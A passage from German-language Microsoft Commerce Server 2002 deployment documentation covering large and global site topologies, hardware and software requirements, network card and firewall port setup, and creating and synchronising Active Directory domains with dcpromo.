Versicherungsprämien bei gleichzeitiger Verarbeitung von Sozialversicherungsnummer, in der Vergangenheit gewährten Krediten oder medizinischen Berichten). Ein Beispiel für eine CPU-intensive Funktion, die Sie auf einem separaten Server ausführen können, ist die Erstellung von Analysemodellen.

Die folgende Abbildung zeigt ein Beispiel für eine Entwicklungsumgebung einer großen Site mit 10 bis 100 Servern.

Konfiguration einer großen Site

Wichtig

Commerce Server 2002 Data Warehouse bietet keine Unterstützung für OLAP-Clustering.

In dieser Konfiguration befindet sich jede Datenbankkomponente auf einem eigenen Microsoft SQL Server-Cluster. Die Katalogdatenbank ist außerdem auf mehrere Cluster mit Lastenausgleich verteilt. Zusätzliche Webserver verteilen die Belastung der Commerce Server-Dienste und -Anwendungen.

Wenn Ihre Datenbankebenen eine größere Kapazität als die bei Windows Clustering geltende Höchstgrenze von vier Knoten erfordern, sollten Sie die folgenden Strategien für die Datenbankebene berücksichtigen:

  • OLAP-Server. Fügt einer einzelnen IP-Adresse Server hinzu. Synchronisiert Daten mithilfe von Archivieren/Wiederherstellen. Windows Clustering für OLAP wird nicht unterstützt.
  • Katalog. Fügt einer einzelnen IP-Adresse Server hinzu. Synchronisiert Daten mithilfe von SQL Server-Replikation.
  • Bestellformular. Erstellt mehrere Datenpartitionen und verteilt Transaktionen auf die Partitionen. Damit können Sie beispielsweise verteilte SQL Server-Datenbanken (föderierte Ansichten) implementieren. Weitere Informationen finden Sie unter "Entwerfen von föderativen Datenbankservern" in der SQL Server 2000-Hilfe.
  • Profilressource. Erstellt mehrere Datenpartitionen und verteilt Benutzerdaten auf die Partitionen. Datenquellenpartitionen verwenden zum Zusammenhalten von Daten Profileigenschaften, die als Hashschlüssel bezeichnet werden. Wenn Sie diese Architektur verwenden, sollten Sie beim Einrichten der Site Partitionen erstellen. Wenn Sie einer Site mit vorhandenen Benutzerprofilen Partitionen hinzufügen, müssen Sie die Benutzerdaten erneut laden. Das Partitionieren ist sowohl für SQL Server- als auch für Active Directory-Profilspeicher sinnvoll. Das Skalieren für Active Directory erfordert einen Entwurf mit mehreren Gesamtstrukturen mit Vertrauensstellungen, die aus den Domänen in den Gesamtstrukturen der Benutzer für die Domäne in der Gesamtstruktur der Ressource erstellt wurden.

Weitere Informationen zur Planung und Bereitstellung einer großen Site finden Sie im Commerce Server 2000 Resource Kit.


Konfiguration einer globalen Site

Eine globale Site verfügt in der Regel über mehrere große, weltweit verteilte Sites, die über ein dediziertes WAN (Wide Area Network) bzw. über ein oder mehrere von einem WAN bereitgestellte ISPs/ASPs miteinander verbunden sind.

Folgende Abbildung zeigt ein Beispiel für die Konfiguration einer globalen Site.

Konfiguration einer globalen Site

Weitere Informationen zur Planung und Bereitstellung einer globalen Site finden Sie im Commerce Server 2000 Resource Kit.


Konfigurieren einer typischen Bereitstellung

Eine typische Bereitstellung besteht aus einer Webebene und einer Datenbankebene. Die Webebene besteht aus einem einzelnen Webserver oder aus mehreren Webservern, die zu einem Cluster zusammengefasst sind. Die Datenbankebene besteht aus Servern, auf denen SQL Server und Business Desk ausgeführt wird. Darüber hinaus kann jede Ebene Domänencontroller für Authentifizierungs- und DNS-Dienste aufweisen.

Die folgende Abbildung veranschaulicht die Topologie für eine typische Bereitstellung von Commerce Server 2002.

Topologie einer typischen Bereitstellung von Commerce Server 2002

Die Anzahl der bei einer Bereitstellung verwendeten Server hängt von den Leistungsanforderungen und Verfügbarkeitsansprüchen ab. Um Verfügbarkeit und Leistung zu steigern, können Sie weitere Server auf der Webebene, der SQL-Serverebene oder zu den Business Desk-Clustern hinzufügen.

Dieser Abschnitt führt Sie durch die verschiedenen Konfigurationsphasen einer typischen Bereitstellung.

Dieser Abschnitt beinhaltet folgende Themen:

  • Empfohlene Hardwarekonfigurationen
  • Serverspezifische Softwareanforderungen
  • Installieren der Basisplattform
  • Konfigurieren des Netzwerks
  • Einrichten der Domänen
  • Konfigurieren der Webebene
  • Konfigurieren der Datenbankebene
  • Installieren von Commerce Server 2002
  • Entpacken einer Site
  • Installieren des Business Desk Clients


Empfohlene Hardwarekonfigurationen

Zusätzlich zu den Hardwareanforderungen, die im Commerce Server 2002-Installationshandbuch aufgeführt sind, werden in der folgenden Tabelle die empfohlenen Hardwarekonfigurationen für eine typische Commerce Server 2002-Bereitstellung angegeben.

Server | Prozessor | RAM | Festplattenspeicher | Netzwerkkarten
Webserver | Dual 700 MHz | 1 GB | 12 GB | 2
SQL Server | Quad 500 MHz | 1 GB | 25 GB | 2
ISA Server | Single 500 MHz | 512 MB | 8 GB | 3
Business Desk | Dual 700 MHz | 1 GB | 12 GB | 2
Active Directory | Single 500 MHz | 512 MB | 8 GB | 1

Bei SQL Server-Clustern, die den Clusterdienst verwenden und mit handelsüblichen externen Speichermedien ausgerüstet sind, sollten vier SCSI-Festplatten mit je 9 GB als einzelnes logisches Laufwerk mit 25 GB Kapazität im RAID 5-Modus konfiguriert werden.

Bei einer typischen Bereitstellung werden außerdem folgende Hardwarekomponenten verwendet:

  • Drei Hubs: Ein Hub zum Verbinden der Front-End-Netzwerkkarten der Webserver, einer zum Verbinden Back-End-Netzwerkkarten der Webserver und einer zum Verbinden der Server, auf denen SQL Server und Business Desk auf der Datenbankebene ausgeführt wird.
  • Zwei Firewalls: Ein externer Firewall zur Trennung der Bereitstellung vom Internet, und ein interner Firewall zur Trennung der Webebene von der Datenbankebene. Optional können Sie einen weiteren Firewall zur Trennung der Bereitstellungsebene vom internen Netzwerk installieren.


Serverspezifische Softwareanforderungen

Der Bereitstellungsprozess wird in erster Linie durch den Ort bestimmt, an dem die Komponenten von Commerce Server installiert werden sollen. Bei der einfachsten Konfiguration werden alle Komponenten von Commerce Server auf einem einzelnen Computer installiert. Bei vielen Bereitstellungen größerer Art werden die Komponenten von Commerce Server auf verschiedenen Computern installiert. Die Analyse- und Data Warehouse-Komponenten von Commerce Server werden normalerweise auf verschiedenen Computern installiert, auf denen SQL Server ausgeführt wird.

Anforderungen für Webserver

Bei der Bereitstellung von Commerce Server 2002 sind für jeden Webserver folgende Softwareprodukte erforderlich:

  • Microsoft Windows 2000 Advanced Server mit Service Pack 2
  • Internetinformationsdienste (IIS) 5.0
  • MSXML Version 3.0 mit Service Pack 2, verfügbar auf der Produkt-CD von Commerce Server (\Support\MSXML 3.0 Sp2\msxml3sp2setup.exe)
  • MDAC 2.7, verfügbar auf der Produkt-CD von Commerce Server (\Support\MDAC 2.7\mdac_typ.exe)
  • Commerce Server 2000 mit Service Pack 2 (ohne Business Desk)

Anforderungen für Datenbankserver

Bei der Bereitstellung von Commerce Server 2002 sind für jeden Datenbankserver folgende Softwareprodukte erforderlich:

  • Windows 2000 Advanced Server mit Service Pack 2
  • Microsoft SQL Server 2000 mit Service Pack 2
  • MDAC 2.7, verfügbar auf der Produkt-CD von Commerce Server (\Support\MDAC 2.7\mdac_typ.exe)

Anforderungen für Business Desk

Bei der Bereitstellung von Commerce Server 2002 sind für jeden Server, auf dem Business Desk ausgeführt wird, folgende Softwareprodukte erforderlich:

  • Windows 2000 Advanced Server mit Service Pack 2
  • Internetinformationsdienste (IIS) 5.0
  • MSXML Version 3.0 mit Service Pack 2
  • Commerce Server 2000 mit Service Pack 2 (mit Business Desk)

Anforderungen für Domänencontroller

  • Windows 2000 Advanced Server mit Service Pack 2

Anforderungen für Firewalls

  • Windows 2000 Advanced Server mit Service Pack 2
  • Microsoft Internet Security und Acceleration Server 2000


Installieren der Basisplattform

Wenn Hardware- und Softwareanforderungen erfüllt sind, installieren Sie die Basisplattform auf jedem Server, bevor Sie das Netzwerk konfigurieren und die Software installieren. Im Folgenden wird beschrieben, wie die Basisplattform installiert wird:

  1. Installieren Sie Microsoft Windows 2000 Advanced Server mit Service Pack 2 (SP2) auf allen Servern.
  2. Installieren Sie die Internetinformationsdienste (IIS) 5.0 auf den Webservern und den Servern, auf denen Business Desk ausgeführt wird. In der IIS-Site finden Sie die neuesten Hotfixes.
  3. Installieren Sie MSXML Version 3.0 mit SP2 auf den Webservern und den Servern, auf denen Business Desk ausgeführt wird.

    Wenn Microsoft Internet Explorer Version 6.0 (in der MSXML 3.0 SP2 enthalten) nicht installiert ist, können Sie MSXML 3.0 SP2 von der Microsoft Commerce Server 2002-Produkt-CD installieren, indem Sie die Datei \Support\MSXML 3.0 Sp2\msxml3sp2setup.exe ausführen. Wählen Sie während der Installation die Option zum Beibehalten der bereits bestehenden Version. Durch diese Option wird verhindert, dass die für Business Desk erforderliche Version 2.6 von MSXML durch MSXML 3.0 SP2 überschrieben wird.

Wenn die Basisplattform installiert ist, können Sie mit der Konfiguration des Netzwerks durch Verbinden der Netzwerkkarten und Zuordnen von IP-Adressen beginnen.


Konfigurieren des Netzwerks

Wenn die Basisplattform installiert ist, verbinden Sie die Netzwerkkarten mit den entsprechenden Hubs oder Schaltern, und ordnen Sie ihnen die zugehörigen IP-Adressen zu. Diese Phase der Bereitstellung umfasst den Aufbau der Kommunikation zwischen allen Servern der Konstellation.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verbinden der Webserver
  • Verbinden der SQL-Server
  • Verbinden der Business Desk-Server
  • Freischalten der Firewall-Anschlüsse


Verbinden der Webserver

Im Folgenden wird beschrieben, wie die Netzwerkkarten während der Bereitstellung bei allen Webservern verbunden und konfiguriert werden. Jeder Webserver ist mit zwei Netzwerkkarten ausgestattet: Einer Karte für die Kommunikation im Internet, die andere für die Kommunikation mit den Servern auf der Datenbankebene.

Die folgende Abbildung zeigt als Beispiel eine Netzwerkkonfiguration für einen Webcluster, der aus drei Webservern besteht.

Beispielkonfiguration eines Webcluster-Netzwerks

So verbinden Sie die Webserver

  1. Verbinden Sie die Front-End-Netzwerkkarte (für die Kommunikation mit Clients über das Internet) mit einem Hub, der mit dem externen Firewall verbunden ist.
  2. Geben Sie im Dialogfeld Internetprotokolleigenschaften (TCP/IP) für diese Karte die IP-Adresse, die Subnetzmaske und den Standardgateway ein. Die in diesem Schritt eingegebene IP-Adresse stellt die diesem Server zugeordnete IP-Adresse dar.
  3. Verbinden Sie die Back-End-Netzwerkkarte (für die Kommunikation mit den Back-End-Datenbanken) mit einem Hub, der mit einem internen Firewall (zur Trennung der Webebene von der Datenbankebene) verbunden ist.
  4. Geben Sie im Dialogfeld Internetprotokolleigenschaften (TCP/IP) für diese Karte die IP-Adresse und die Subnetzmaske ein, und lassen Sie das Feld Standardgateway leer.
  5. Wiederholen Sie die Schritte 1-4 für jeden Webserver, und vergeben Sie dabei unterschiedliche IP-Adressen.

Die Netzwerkkonfiguration für die Webserver ist damit abgeschlossen. Genaue Anweisungen zum Installieren und Konfigurieren von NLB finden Sie unter Clustern von Webservern.


Verbinden der SQL-Server

Im Folgenden wird beschrieben, wie die Netzwerkkarten während der Bereitstellung bei allen Servern verbunden und konfiguriert werden, auf denen SQL-Server ausgeführt wird. Jeder Server ist mit zwei Netzwerkkarten ausgestattet: Eine für die Verbindung zum Webcluster mithilfe eines Hubs, und die andere für die Verbindung mithilfe eines Crossover-Kabels zu einem weiteren Server, auf dem SQL-Server ausgeführt wird. Darüber hinaus sind alle Server über ein SCSI-Kabel mit einer gemeinsam genutzten Speichereinheit verbunden.

Für den SQL-Servercluster sind zwei verschiedene Clusternamen und zwei verschiedene Cluster-IP-Adressen erforderlich: Eine wird von SQL-Server verwendet, die andere vom Clusterdienst.

Die nachfolgende Abbildung zeigt ein Beispiel einer Netzwerkkonfiguration für einen SQL-Servercluster.

Beispiel für die Netzwerkkonfiguration eines SQL-Serverclusters

So verbinden Sie die Server, auf denen SQL-Server ausgeführt wird

  1. Stellen Sie sicher, dass die gemeinsam genutzte Speichereinheit nicht eingeschaltet ist. Sie könnte beschädigt werden, wenn sie im eingeschalteten Zustand mit beiden Servern verbunden wird.
  2. Verbinden Sie die Front-End-Netzwerkkarte mit einem Hub, der mit dem Firewall verbunden ist, die die Webebene von der Datenbankebene trennt.
  3. Geben Sie im Dialogfeld Internetprotokolleigenschaften (TCP/IP) für diese Karte die IP-Adresse, die Subnetzmaske und den Standardgateway ein.
  4. Verbinden Sie mithilfe eines Crossover-Kabels die Back-End-Netzwerkkarten der beiden Server, auf denen SQL Server ausgeführt wird.
  5. Geben Sie im Dialogfeld Internetprotokolleigenschaften (TCP/IP) für diese Karte die IP-Adresse und die Subnetzmaske ein, und lassen Sie das Feld Standardgateway leer.
  6. Klicken Sie im Dialogfeld Internetprotokolleigenschaften (TCP/IP) auf Erweitert.
  7. Aktivieren Sie im Dialogfeld Erweiterte TCP/IP-Einstellungen auf der Registerkarte WINS die Option NetBIOS über TCP/IP deaktivieren.
  8. Schließen Sie ein SCSI-Kabel an die gemeinsam genutzte Speichereinheit an.
  9. Wiederholen Sie die Schritte 1-8 für jeden Server, auf dem SQL-Server ausgeführt wird, und vergeben Sie dabei unterschiedliche IP-Adressen.

Die Netzwerkkonfiguration für den SQL-Servercluster ist damit abgeschlossen. Anweisungen zur Installation des Clusterdienstes finden Sie unter Konfigurieren der Datenbankebene.


Verbinden der BusinessDesk-Server

Feedback zu dieser Seite senden Commerce Server 2002

Verbinden der Business Desk-Server

Im Folgenden wird beschrieben, wie die Netzwerkkarten während der Bereitstellung bei allen Servern verbunden und konfiguriert werden, auf denen Business Desk ausgeführt wird. Jeder dieser Server ist mit zwei Netzwerkkarten ausgestattet: Eine Netzwerkkarte ist für die Kommunikation mit dem Webcluster zuständig, die andere für die Kommunikation zwischen zwei Business Desk-Servern.

Die nachfolgende Abbildung zeigt ein Beispiel einer Netzwerkkonfiguration für einen Business Desk-Cluster.

Beispiel für die Netzwerkkonfiguration eines Business-Desk-Clusters

So verbinden Sie die Server, auf denen Business Desk ausgeführt wird

  1. Verbinden Sie die Front-End-Netzwerkkarte mit einem Hub, der mit dem Firewall verbunden ist, die die Webebene von der Datenbankebene trennt.
  2. Geben Sie im Dialogfeld Internetprotokolleigenschaften (TCP/IP) für diese Karte die IP-Adresse, die Subnetzmaske und den Standardgateway ein.
  3. Verbinden Sie mithilfe eines Crossover-Kabels die Back-End-Netzwerkkarten der beiden Server, auf denen Business Desk ausgeführt wird.
  4. Geben Sie im Dialogfeld Internetprotokolleigenschaften (TCP/IP) für diese Karte die IP-Adresse und die Subnetzmaske ein, und lassen Sie das Feld Standardgateway leer.
  5. Wiederholen Sie die Schritte 1-4 für jeden Server, auf dem Business Desk ausgeführt wird, und vergeben Sie dabei unterschiedliche IP-Adressen.

Die Netzwerkkonfiguration für die Business Desk-Server ist damit abgeschlossen.


Freischalten der Firewall-Anschlüsse

Schalten Sie bei dem externen Firewall (zur Trennung der Bereitstellung vom Internet) die eingehenden Anschlüsse 80 und 443 für HTTP und HTTPS frei. Wenn Sie einen Firewall zur Trennung der Webebene von der Datenbankebene verwenden, schalten Sie den eingehenden Anschluss 1433 für SQL-Server frei. Gestatten Sie bei diesem Firewall zusätzlich den Zugriff in beiden Richtungen (eingehend und ausgehend) für Microsoft Distributed Transaction Coordinator (MSDTC) über die Anschlüsse 135 und 5000-5030.

Schalten Sie bei dem internen Firewall (zur Tennung der Bereitstellung vom internen Netzwerk) den ausgehenden Anschluss 80 für HTTP frei, um dem internen Business Desk-Server das Zurücksetzen von veröffentlichten Katalogen und Profilschemas zu ermöglichen.


Einrichten der Domänen

Nachdem Sie die Netzwerkverbindung hergestellt haben, gruppieren Sie die Server in zwei Domänen, bevor Sie Commerce Server 2002 installieren. Erstellen Sie zwei separate, nicht vertraute Domänen: Eine demilitarisierte Zone (DMZ) für die Webebene und eine Intranetzone für die Datenbankebene. Für jede Zone, die DNS-Dienste bereitstellt, sollte ein Domänencontroller konfiguriert werden.

Fügen Sie bei allen Domänencontrollern neue Hosts hinzu, damit die entsprechenden Server (oder Cluster) in anderen Domänen erkannt werden. Beispielsweise können Sie dem DMZ-Domänencontroller zwei neue Hosts mithilfe der virtuellen IP-Adresse des Webclusters und der Cluster-IP-Adresse des SQL-Serverclusters hinzufügen. Dem Domänencontroller des Intranets können Sie einen Host für jeden Server im Webcluster hinzufügen.

Verbinden Sie nach dem Erstellen der zwei Domänen und dem Hinzufügen der entsprechenden Hosts jeden Server mit der entsprechenden Domäne. Beispielsweise sollten alle Webserver Mitglieder der DMZ-Domäne sein, während alle SQL Server- und Business Desk-Server Mitglieder der Intranetdomäne sein sollten. Nähere Anweisungen zum Verbinden eines Servers mit einer Domäne finden Sie unter Verbinden von Webservern mit einer Active Directory-Domäne. Die Domänenkonfiguration ist abgeschlossen, wenn alle Server nach der Verbindung mit den entsprechenden Domänen neu gestartet wurden.

Wenn Sie sich dazu entschließen, den Active Directory-Verzeichnisdienst zur Speicherung von Benutzerprofilen oder anderen Daten zu implementieren, müssen Sie zunächst verschiedene Schritte durchführen, die in den folgenden Themenbereichen beschrieben werden.

Hinweis

  • Bevor Sie diese Schritte durchführen, ist es wichtig, die Wirkungsweise und die Funktion von Active Directory innerhalb Ihrer Site festzulegen und zu verstehen. Weitere Informationen über Active Directory finden Sie in der Windows 2000-Dokumentation.

Dieser Abschnitt beinhaltet folgende Themen:

  • Erstellen einer Active Directory-Domäne
  • Synchronisieren der Active Directory-Domänencontroller
  • Hinzufügen eines Domänencontrollers zu einer vorhandenen Domäne
  • Aktivieren der Benutzerauthentifizierung auf Webservern für andere Server

Siehe auch

Planning for the Profiling System

Planen der Integration von Active Directory


Erstellen einer ActiveDirectory-Domäne

Feedback zu dieser Seite senden Commerce Server 2002

Erstellen einer Active Directory-Domäne

Bevor Sie für die Benutzerprofile Ihrer Commerce Server-Website eine Authentifizierung für den Active Directory-Verzeichnisdienst ermöglichen können, müssen Sie auf Ihrer Site eine Active Directory-Domäne einrichten. Es ist empfehlenswert, ein redundantes Serverpaar zu diesem Zweck bereitzustellen.

Befolgen Sie die folgenden Vorgehensweisen nur, wenn Sie das Active Directory-Konzept verstanden und Ihr Active Directory-Aufbau komplett geplant ist. Informationen über Active Directory finden Sie im Microsoft Windows 2000 Server Deployment Planning Guide (nur auf Englisch verfügbar).

So richten Sie eine Active Directory-Domäne durch Erstellung einer neuen Domänenstruktur ein

So richten Sie eine Active Directory-Domäne durch Erstellung einer neuen untergeordneten Domäne in einer vorhandenen Domänenstruktur ein

So richten Sie eine Active Directory-Domäne durch Erstellung einer neuen Domänenstruktur ein

  1. Klicken Sie auf Start und anschließend auf Ausführen.
  2. Geben Sie im Dialogfeld Ausführen im Feld Öffnen erst dcpromo ein, und klicken Sie dann auf OK.
  3. Klicken Sie im Feld Assistent zum Installieren von Active Directory auf Weiter.
  4. Wählen Sie im Dialogfeld Typ des Domänencontrollers die Option Domänencontroller für eine neue Domäne, und klicken Sie anschließend auf Weiter.
  5. Wählen Sie im Dialogfeld Struktur oder untergeordnete Domäne erstellen die Option Eine neue Domänenstruktur erstellen, und klicken Sie dann auf Weiter.
  6. Führen Sie im Dialogfeld Gesamtstruktur erstellen oder einer Gesamtstruktur beitreten folgende Schritte aus:
    Funktion | Aktion
    Neue Gesamtstruktur aus Domänenstrukturen erstellen | Wählen Sie diese Option aus, falls dies die erste Domäne Ihrer Organisation ist bzw. wenn die neu erstellte Domänenstruktur unabhängig von der aktuellen Gesamtstruktur sein soll.
    Diese neue Domänenstruktur in eine bestehende Gesamtstruktur eingliedern | Wählen Sie diese Option aus, wenn die Benutzer in der neuen Domänenstruktur Zugriff auf Ressourcen in bestehenden Domänenstrukturen haben sollen – und umgekehrt.
  7. Wenn Sie die Option Neue Gesamtstruktur aus Domänenstrukturen erstellen gewählt haben, geben Sie im Dialogfeld Neuer Domänenname im Feld Gesamter DNS-Name für die neue Domäne den gesamten DNS-Namen (Domain Name System) der neuen Domäne ein.
  8. Geben Sie im Dialogfeld NetBIOS-Domänenname im Feld NetBIOS-Domänenname den Namen ein, den Benutzer früherer Versionen von Microsoft Windows zur Identifizierung der Domäne verwenden sollen. Es empfiehlt sich, die Standardversion zu verwenden, welche eine abgekürzte Version des gesamten DNS-Namens darstellt. Klicken Sie auf Weiter.
  9. Übernehmen Sie im Dialogfeld Datenbank und Protokolldatei die Standardeinstellungen, oder nehmen Sie ggf. die gewünschten Änderungen vor.
  10. Übernehmen Sie im Dialogfeld Freigegebenes SYSVOL die Standardeinstellungen, oder nehmen Sie ggf. die gewünschten Änderungen vor.
  11. Wenn DNS auf Ihrem Computer noch nicht installiert ist, werden Sie zur Installation aufgefordert. Wählen Sie Ja, DNS automatisch auf diesem Computer installieren und konfigurieren, und klicken Sie dann auf Weiter.
  12. Wählen Sie im Dialogfeld Berechtigungen die Option Nur mit Windows 2000-Servern kompatible Berechtigungen, und klicken Sie dann auf Weiter.
  13. Führen Sie im Dialogfeld Administratorkennwort für "Verzeichnisdienste wiederherstellen" die folgenden Schritte aus:
    Funktion | Aktion
    Kennwort | Geben Sie das Kennwort ein, das Sie dem Administratorkonto für den Server zuordnen möchten.
    Kennwort bestätigen | Geben Sie das Kennwort erneut ein, um dieses zu bestätigen.
  14. Überprüfen Sie im Dialogfeld Zusammenfassung die ausgewählten Optionen, um die Richtigkeit der Active Directory-Konfiguration sicherzustellen. Wenn sie richtig ist, klicken Sie auf Weiter. Wenn Sie Ihre Auswahl nochmals konfigurieren müssen, klicken Sie auf Zurück.

    Das Dialogfeld Active Directory konfigurieren wird angezeigt und teilt Ihnen mit, dass die Active Directory-Konfiguration auf Ihrem Computer installiert wird.

  15. Klicken Sie im Dialogfeld Fertigstellen des Assistenten auf Fertig stellen.

So richten Sie eine Active Directory-Domäne durch Erstellung einer neuen untergeordneten Domäne in einer vorhandenen Domänenstruktur ein

  1. Klicken Sie auf Start und anschließend auf Ausführen.
  2. Geben Sie im Dialogfeld Ausführen im Feld Öffnen erst dcpromo ein, und klicken Sie dann auf OK.
  3. Klicken Sie im Feld Assistent zum Installieren von Active Directory auf Weiter.
  4. Wählen Sie im Dialogfeld Typ des Domänencontrollers die Option Domänencontroller für eine neue Domäne, und klicken Sie anschließend auf Weiter.
  5. Wählen Sie im Dialogfeld Struktur oder untergeordnete Domäne erstellen die Option Eine neue untergeordnete Domäne in einer bestehenden Domänenstruktur erstellen, und klicken Sie dann auf Weiter.
  6. Führen Sie im Dialogfeld Installation der untergeordneten Domäne folgende Schritte aus:
    Funktion | Aktion
    Übergeordnete Domäne | Geben Sie hier den Namen der übergeordneten Domäne ein.
    Untergeordnete Domäne | Geben Sie hier den Namen der untergeordneten Domäne ein.
  7. Geben Sie im Dialogfeld NetBIOS-Domänenname im Feld NetBIOS-Domänenname den Namen ein, den Benutzer früherer Versionen von Microsoft Windows zur Identifizierung der Domäne verwenden sollen. Es empfiehlt sich, die Standardversion zu verwenden, welche eine abgekürzte Version des gesamten DNS-Namens darstellt. Klicken Sie auf Weiter.
  8. Übernehmen Sie im Dialogfeld Datenbank und Protokolldatei die Standardeinstellungen, oder nehmen Sie ggf die gewünschten Änderungen vor.
  9. Übernehmen Sie im Dialogfeld Freigegebenes SYSVOL die Standardeinstellungen, oder nehmen Sie ggf. die gewünschten Änderungen vor.
  10. Wenn DNS auf Ihrem Computer noch nicht installiert ist, werden Sie zur Installation aufgefordert. Wählen Sie Ja, DNS automatisch auf diesem Computer installieren und konfigurieren, und klicken Sie dann auf Weiter.
  11. Wählen Sie im Dialogfeld Berechtigungen die Option Nur mit Windows 2000-Servern kompatible Berechtigungen, und klicken Sie dann auf Weiter.
    VORSICHT
    • Das Zulassen einer Abwärtskompatibilität kann zu Sicherheitsproblemen mit Microsoft Commerce Server 2002 führen.
  12. Führen Sie im Dialogfeld Administratorkennwort für "Verzeichnisdienste wiederherstellen" die folgenden Schritte aus:
    Funktion | Aktion
    Kennwort | Geben Sie das Kennwort ein, das Sie dem Administratorkonto für den Server zuordnen möchten.
    Kennwort bestätigen | Geben Sie das Kennwort erneut ein, um dieses zu bestätigen.

    Das Dialogfeld Active Directory konfigurieren wird angezeigt und teilt Ihnen mit, dass die Active Directory-Konfiguration auf Ihrem Computer installiert wird.

  13. Klicken Sie im Dialogfeld Fertigstellen des Assistenten auf Fertig stellen.

Siehe auch

Konfiguration einer kleinen Site

Verbinden von Webservern mit einer Active Directory-Domäne


Synchronisieren der ActiveDirectory-Domänencontroller

Feedback zu dieser Seite senden Commerce Server 2002

Synchronisieren der Active Directory-Domänencontroller

Obwohl nur ein einziger Domänencontroller pro Domäne erforderlich ist, birgt diese Art der Konfiguration den Nachteil, dass ein einzelner Domänencontroller zu einer empfindlichen Schwachstelle werden kann. Es ist daher sinnvoll, einer Domäne zusätzliche Domänencontroller hinzuzufügen, um ihre Verfügbarkeit zu steigern. Der Active Directory-Verzeichnisdienst setzt auf eine Zwei-Wege-Strategie bei der Replikation, um zwischen den Domänencontrollern einer einzelnen Domäne die Konsistenz sicherzustellen. Active Directory-Domänencontroller unterstützen eine Multi-Master-Replikation, um die Daten jedes Domänencontrollers zu synchronisieren und so die Konsistenz aller Informationen sicherstellen zu können.

Die in Active Directory auf allen Domänencontrollern gespeicherten Daten werden in drei Kategorien aufgeteilt: Domänen-, Schema- und Konfigurationsdaten. Dies geschieht unabhängig davon, ob es sich bei den Domänencontrollern um globale Katalogserver handelt oder nicht. Jede dieser Kategorien befindet sich in einer separaten Verzeichnispartition (die auch als Namenskontext bezeichnet wird). Die Verzeichnispartitionen stellen die Einheiten der Replikation dar. Die Datenpartition der Domäne enthält alle Objekte des Verzeichnisses für die Domäne. Die Daten einer Domäne werden in jedem Controller innerhalb der Domäne repliziert, nicht jedoch außerhalb.

Ist der Domänencontroller ein globaler Katalogserver, enthält er zusätzlich eine vierte Datenkategorie: Ein partielles Replikat der Verzeichnispartition der Domänendaten für alle Domänen. Dieses partielle Replikat enthält einen Teil der Eigenschaften aller Objekte in allen Domänen. (Ein partielles Replikat ist schreibgeschützt, ein vollständiges Replikat nicht.)

Standardmäßig wird eine bestimmte Teilgruppe von Attributen im globalen Katalog gespeichert. Dazu gehören die in Suchfunktionen am meisten verwendeten Attribute, da eine der Hauptfunktionen des globalen Katalogs die Unterstützung von Clients bei Abfragen des Verzeichnisses ist. Die Verwendung von globalen Katalogen zur teilweisen Replikation von Domänendaten führt im Gegensatz zu einer vollständigen Replikation zu einer Reduzierung des Datenverkehrs im WAN.

Die folgende Abbildung zeigt die Replikation innerhalb einer Site. Drei Domänencontroller (einer davon ist ein globaler Katalog) replizieren Schema- und Konfigurationsdaten, sowie alle Verzeichnisobjekte (mit einem vollständigen Satz von Attributen für jedes Objekt).

Replikation der Daten auf Domänencontrollern

Active Directory stellt eine Topologie her, die mindestens zwei Verbindungen zu jedem Domänencontroller ermöglicht. Ist ein Domänencontroller nicht verfügbar, können die Verzeichnisdaten über die zweite Verbindung trotzdem alle verfügbaren Domänencontroller erreichen. Darüber hinaus überprüft Active Directory automatisch den Status des Netzwerks und passt Änderungen entsprechend an. Wenn beispielsweise ein Domänencontroller zu einer Site hinzugefügt wird, wird die Replikationstopologie so angepasst, dass der Neuzugang in den bestehenden Aufbau effizient eingebunden werden kann.

Replikation zwischen Sites

Active Directory kann auch zur Optimierung des Datenverkehrs zwischen mehreren Servern und zwischen Servern und Clients über WAN-Verbindungen verwendet werden. Das Vorhandensein mehrerer Sites ermöglicht eine Redundanz im Falle einer geografisch begrenzten Katastrophe. Folgende Vorgehensweisen sind beim Aufbau mehrerer Sites empfehlenswert:

  • Richten Sie eine Site in jedem geografischen Gebiet ein, in dem ein schneller Zugriff auf die neuesten Active Directory-Daten erforderlich ist.
  • Platzieren Sie mindestens einen Domänencontroller in jedem Standort, und setzen Sie mindestens einen Domänencontroller pro Site als globalen Katalog ein. Sites, die nicht über eigene Domänencontroller und mindestens einen eigenen globalen Katalog verfügen, sind in Bezug auf Verzeichnisdaten von anderen Sites abhängig und daher weniger effizient.


Hinzufügen eines Domänencontrollers zu einer vorhandenen Domäne

Nachdem Sie mehrere Domänencontroller erstellt haben, repliziert der Active Directory-Verzeichnisdienst regelmäßig automatisch die Verzeichnisinformationen zwischen den Controllern. Fällt ein Domänencontroller aus, sind die Verzeichnisinformationen weiterhin über die anderen Domänencontroller verfügbar.

So fügen Sie einen weiteren Domänencontroller zu einer bestehenden Domäne hinzu

  1. Klicken Sie auf Start und anschließend auf Ausführen.
  2. Geben Sie im Dialogfeld Ausführen im Feld Öffnen erst dcpromo ein, und klicken Sie dann auf OK.
  3. Wählen Sie im Dialogfeld Typ des Domänencontrollers die Option Zusätzlicher Domänencontroller. Dadurch wird ein Domänencontroller als Replikationspartner erstellt.
  4. Geben Sie im Dialogfeld Sicherheitsinformationen für das Netzwerk den Benutzernamen eines Domänenadministrators, das Kennwort und den Namen der Domäne an, und klicken Sie anschließend auf Weiter.
  5. Klicken Sie im Dialogfeld Zusätzlicher Domänencontroller auf Weiter.
  6. Übernehmen Sie im Dialogfeld Datenbank und Protokolldatei die Standardeinstellungen, und klicken Sie dann auf Weiter.
  7. Klicken Sie im Dialogfeld Freigegebenes SYSVOL auf Weiter.
  8. Lassen Sie im Dialogfeld Administratorkennwort für "Verzeichnisdienste wiederherstellen" die Eingabefelder leer, und klicken Sie auf Weiter.
  9. Klicken Sie im Dialogfeld Zusammenfassung auf Weiter.
  10. Klicken Sie im Dialogfeld Fertigstellen des Assistenten auf Fertig stellen, und starten Sie dann Windows erneut.


Aktivieren der Benutzerauthentifizierung auf Webservern für andere Server

Microsoft Commerce Server 2002 setzt voraus, dass ein Webserver in der Lage ist, Benutzer zum Zwecke des Zugriffs auf Dienste auf anderen Servern zu authentifizieren. Sie müssen sicherstellen, dass Microsoft Windows für diese Art von Zugriff konfiguriert ist.

Hinweis

  • Um die Delegierung zu ermöglichen, müssen Sie über ausreichende Administratorrechte in Ihrer Windows 2000-Domäne verfügen.

So aktivieren Sie auf einem Webserver die Clientauthentifizierung für andere Server

